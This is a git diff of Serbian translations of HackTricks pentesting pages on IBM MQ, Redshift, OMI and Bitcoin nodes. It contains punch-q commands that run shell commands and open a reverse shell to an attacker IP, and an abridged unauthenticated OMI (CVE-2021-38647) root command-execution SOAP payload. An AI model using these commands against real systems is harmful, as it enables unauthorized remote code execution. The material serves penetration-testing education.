||||
|
||||
Kreiranje / brisanje servisa sa PCF za izvršavanje udaljenog programa može se obaviti pomoću **punch-q**:
|
||||
Kreiranje / brisanje servisa sa PCF za daljinsko izvršenje programa može se obaviti pomoću **punch-q**:
|
||||
|
||||
**Primer 1**
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
|
||||
```
|
||||
> U zapisima IBM MQ-a možete pročitati da je komanda uspešno izvršena:
|
||||
> U logovima IBM MQ možete pročitati da je komanda uspešno izvršena:
|
||||
>
|
||||
> ```bash
|
||||
> 2023-10-10T19:13:01.713Z AMQ5030I: Komanda '808544aa7fc94c48' je pokrenuta. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
|
||||
> 2023-10-10T19:13:01.713Z AMQ5030I: Komanda '808544aa7fc94c48' je započeta. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
|
||||
> ```
|
||||
|
||||
Takođe možete nabrojati postojeće programe na mašini (ovde `/bin/doesnotexist` ... ne postoji):
|
||||
Takođe možete enumerisati postojeće programe na mašini (ovde `/bin/doesnotexist` ... ne postoji):
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
|
||||
s "whatever"
|
||||
|
@ -233,16 +238,16 @@ Giving the service 0 second(s) to live...
|
|||
Cleaning up service...
|
||||
Done
|
||||
```
|
||||
**Imajte na umu da je pokretanje programa asinhrono. Dakle, potrebna vam je druga stavka da biste iskoristili ranjivost** ***(slušalica za obrnutu ljusku, kreiranje datoteke na drugoj usluzi, eksfiltracija podataka putem mreže...)***
|
||||
**Budite svesni da je pokretanje programa asinhrono. Tako da vam je potreban drugi element da iskoristite eksploataciju** ***(listener za reverznu ljusku, kreiranje datoteka na različitoj usluzi, eksfiltracija podataka kroz mrežu ...)***
|
||||
|
||||
**Primer 2**
|
||||
|
||||
Za jednostavnu obrnutu ljusku, **punch-q** takođe nudi dva payloada za obrnutu ljusku:
|
||||
Za jednostavnu reverznu ljusku, **punch-q** takođe predlaže dva payload-a za reverznu ljusku:
|
||||
|
||||
* Jedan sa bashom
|
||||
* Jedan sa perlom
|
||||
* Jedan sa bash-om
|
||||
* Jedan sa perl-om
|
||||
|
||||
*Naravno, možete napraviti prilagođeni payload pomoću komande `execute`.*
|
||||
*Naravno, možete napraviti prilagođeni koristeći komandu `execute`.*
|
||||
|
||||
Za bash:
|
||||
```bash
|
||||
|
@ -252,11 +257,11 @@ Za perl:
|
|||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
|
||||
```
|
||||
### Prilagođeni PCF
|
||||
### Custom PCF
|
||||
|
||||
Možete istražiti IBM MQ dokumentaciju i direktno koristiti **pymqi** Python biblioteku da biste testirali određenu PCF komandu koja nije implementirana u **punch-q**.
|
||||
Možete istražiti IBM MQ dokumentaciju i direktno koristiti **pymqi** python biblioteku za testiranje specifične PCF komande koja nije implementirana u **punch-q**.
|
||||
|
||||
**Primer:**
|
||||
**Example:**
|
||||
```python
|
||||
import pymqi
|
||||
|
||||
|
@ -284,9 +289,9 @@ else:
|
|||
qmgr.disconnect()
|
||||
|
||||
```
|
||||
Ako ne možete pronaći imena konstanti, možete se referisati na [IBM MQ dokumentaciju](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors).
|
||||
Ako ne možete pronaći imena konstanti, možete se pozvati na [IBM MQ dokumentaciju](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors).
|
||||
|
||||
> *Primer za [`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (Decimalno = 73). Potrebno je koristiti parametar `MQCA_CLUSTER_NAME` (Decimalno = 2029) koji može biti `*` (Dokumentacija: ):*
|
||||
> *Primer za [`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (Decimal = 73). Potreban je parametar `MQCA_CLUSTER_NAME` (Decimal = 2029) koji može biti `*` (Dok: ):*
|
||||
>
|
||||
> ```python
|
||||
> import pymqi
|
||||
|
@ -306,7 +311,7 @@ Ako ne možete pronaći imena konstanti, možete se referisati na [IBM MQ dokume
|
|||
> args = {2029: "*"}
|
||||
> response = pcf.MQCMD_REFRESH_CLUSTER(args)
|
||||
> except pymqi.MQMIError as e:
|
||||
> print("Error")
|
||||
> print("Greška")
|
||||
> else:
|
||||
> print(response)
|
||||
>
|
||||
|
@ -315,27 +320,27 @@ Ako ne možete pronaći imena konstanti, možete se referisati na [IBM MQ dokume
|
|||
|
||||
## Testno okruženje
|
||||
|
||||
Ako želite testirati ponašanje i eksploatacije IBM MQ, možete postaviti lokalno okruženje zasnovano na Dockeru:
|
||||
Ako želite da testirate ponašanje i eksploate IBM MQ, možete postaviti lokalno okruženje zasnovano na Docker-u:
|
||||
|
||||
1. Imajte nalog na ibm.com i cloud.ibm.com.
|
||||
2. Kreirajte kontejnerizovani IBM MQ sa:
|
||||
1. Imati nalog na ibm.com i cloud.ibm.com.
|
||||
2. Kreirati kontejnerizovani IBM MQ sa:
|
||||
```bash
|
||||
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
|
||||
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
|
||||
```
|
||||
Podrazumevano, autentifikacija je omogućena, korisničko ime je `admin`, a lozinka je `passw0rd` (promenljiva okruženja `MQ_ADMIN_PASSWORD`).
|
||||
Ovde je ime menadžera redova postavljeno na `MYQUEUEMGR` (promenljiva `MQ_QMGR_NAME`).
|
||||
Podrazumevano, autentifikacija je omogućena, korisničko ime je `admin` i lozinka je `passw0rd` (promenljiva okruženja `MQ_ADMIN_PASSWORD`).
|
||||
Ovde je ime menadžera reda postavljeno na `MYQUEUEMGR` (promenljiva `MQ_QMGR_NAME`).
|
||||
|
||||
IBM MQ treba da bude pokrenut i da ima otvorene portove.
|
||||
Trebalo bi da imate IBM MQ pokrenut sa otvorenim portovima:
|
||||
```bash
|
||||
❯ sudo docker ps
|
||||
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
|
||||
58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
|
||||
```
|
||||
> Stare verzije IBM MQ Docker slika se nalaze na: https://hub.docker.com/r/ibmcom/mq/.
|
||||
> Stara verzija IBM MQ docker slika se nalazi na: https://hub.docker.com/r/ibmcom/mq/.
|
||||
|
||||
## Reference
|
||||
## References
|
||||
|
||||
* [mgeeky's gist - "Praktični napomene za testiranje prodiranja IBM MQ"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
|
||||
* [mgeeky's gist - "Praktične beleške o penetracionom testiranju IBM MQ"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
|
||||
* [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
|
||||
* [IBM MQ dokumentacija](https://www.ibm.com/docs/en/ibm-mq)
|
||||
|
|
|
@ -1,33 +1,39 @@
|
|||
# 5439 - Pentesting Redshift
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite **vašu kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
Ovaj port se koristi za pokretanje **Redshift**-a. To je u osnovi AWS varijacija **PostgreSQL**-a.
|
||||
Ovaj port koristi **Redshift** za rad. To je u suštini AWS varijacija **PostgreSQL**.
|
||||
|
||||
Za više informacija pogledajte:
|
||||
Za više informacija proverite:
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite **vašu kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,23 @@
|
|||
# 5985,5986 - Pentesting OMI
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite **vašu kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### **Osnovne informacije**
|
||||
|
||||
**OMI** je predstavljen kao **[open-source](https://github.com/microsoft/omi)** alat od strane Microsoft-a, dizajniran za daljinsko upravljanje konfiguracijom. Posebno je relevantan za Linux servere na Azure-u koji koriste usluge kao što su:
|
||||
**OMI** se predstavlja kao **[open-source](https://github.com/microsoft/omi)** alat od strane Microsoft-a, dizajniran za daljinsko upravljanje konfiguracijom. Posebno je relevantan za Linux servere na Azure-u koji koriste usluge kao što su:
|
||||
|
||||
- **Azure Automation**
|
||||
- **Azure Automatic Update**
|
||||
|
@ -23,15 +26,15 @@
|
|||
- **Azure Configuration Management**
|
||||
- **Azure Diagnostics**
|
||||
|
||||
Proces `omiengine` se pokreće i osluškuje na svim interfejsima kao root kada se ove usluge aktiviraju.
|
||||
Proces `omiengine` se pokreće i sluša na svim interfejsima kao root kada su ove usluge aktivirane.
|
||||
|
||||
**Podrazumevani portovi** koji se koriste su **5985** (http) i **5986** (https).
|
||||
|
||||
### **[CVE-2021-38647 Vulnerability](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647)**
|
||||
### **[CVE-2021-38647 ranjivost](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647)**
|
||||
|
||||
Kako je primećeno 16. septembra, Linux serveri koji su implementirani na Azure-u sa pomenutim uslugama su podložni ranjivosti zbog ranjive verzije OMI-ja. Ova ranjivost se nalazi u obradi poruka OMI servera putem `/wsman` endpointa bez zahteva za Authentication header-om, nepravilno autorizujući klijenta.
|
||||
Kako je primećeno 16. septembra, Linux serveri raspoređeni u Azure-u sa pomenutim uslugama su podložni zbog ranjive verzije OMI. Ova ranjivost leži u načinu na koji OMI server obrađuje poruke kroz `/wsman` endpoint bez zahteva za Authentication header, pogrešno autorizujući klijenta.
|
||||
|
||||
Napadač može iskoristiti ovo slanjem "ExecuteShellCommand" SOAP payload-a bez Authentication header-a, prisiljavajući server da izvrši komande sa root privilegijama.
|
||||
Napadač može iskoristiti ovo slanjem "ExecuteShellCommand" SOAP payload-a bez Authentication header-a, primoravajući server da izvrši komande sa root privilegijama.
|
||||
```xml
|
||||
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
|
||||
...
|
||||
|
@ -43,21 +46,24 @@ Napadač može iskoristiti ovo slanjem "ExecuteShellCommand" SOAP payload-a bez
|
|||
</s:Body>
|
||||
</s:Envelope>
|
||||
```
|
||||
Za više informacija o ovoj CVE **[proverite ovde](https://github.com/horizon3ai/CVE-2021-38647)**.
|
||||
Za više informacija o ovom CVE **[proverite ovo](https://github.com/horizon3ai/CVE-2021-38647)**.
|
||||
|
||||
## Reference
|
||||
|
||||
* [https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/](https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/)
|
||||
* [https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/](https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite **vašu kompaniju reklamiranu na HackTricks**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,23 +1,26 @@
|
|||
# 8333,18333,38333,18444 - Pentestiranje Bitkoina
|
||||
# 8333,18333,38333,18444 - Pentesting Bitcoin
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
* **Port 8333** se koristi od strane Bitkoin čvorova u **mainnet-u** za komunikaciju među njima.
|
||||
* **Port 18333** se koristi od strane Bitkoin čvorova u **testnet-u** za komunikaciju među njima.
|
||||
* **Port 38333** se koristi od strane Bitkoin čvorova u **signet-u** za komunikaciju među njima.
|
||||
* **Port 18444** se koristi od strane Bitkoin čvorova u **regtest-u** (lokalno) za komunikaciju među njima.
|
||||
* **Port 8333** se koristi od strane Bitcoin čvorova u **mainnet** za međusobnu komunikaciju.
|
||||
* **Port 18333** se koristi od strane Bitcoin čvorova u **testnet** za međusobnu komunikaciju.
|
||||
* **Port 38333** se koristi od strane Bitcoin čvorova u **signet** za međusobnu komunikaciju.
|
||||
* **Port 18444** se koristi od strane Bitcoin čvorova u **regtest** (lokalno) za međusobnu komunikaciju.
|
||||
|
||||
**Podrazumevani port:** 8333, 18333, 38333, 18444
|
||||
```
|
||||
|
@ -29,9 +32,9 @@ PORT STATE SERVICE
|
|||
* `port:8333 bitcoin`
|
||||
* `User-Agent: /Satoshi`
|
||||
|
||||
## Enumeracija
|
||||
## Enumeration
|
||||
|
||||
Bitcoin čvorovi će vam pružiti određene informacije ako misle da ste drugi validan bitcoin čvor. **Nmap** ima neke skripte za izvlačenje ovih informacija:
|
||||
Bitcoin čvorovi će vam dati neke informacije ako misle da ste još jedan validan bitcoin čvor. **Nmap** ima neki skript za ekstrakciju ovih informacija:
|
||||
```
|
||||
sudo nmap -p 8333 --script bitcoin-info --script bitcoin-getaddr 170.39.103.39
|
||||
PORT STATE SERVICE
|
||||
|
@ -54,14 +57,17 @@ PORT STATE SERVICE
|
|||
| 75.128.4.27:8333 2022-04-02T08:10:45
|
||||
[...]
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,70 +1,57 @@
|
|||
# 2049 - Pentestiranje NFS servisa
|
||||
# 2049 - Pentesting NFS Service
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite **vašu kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
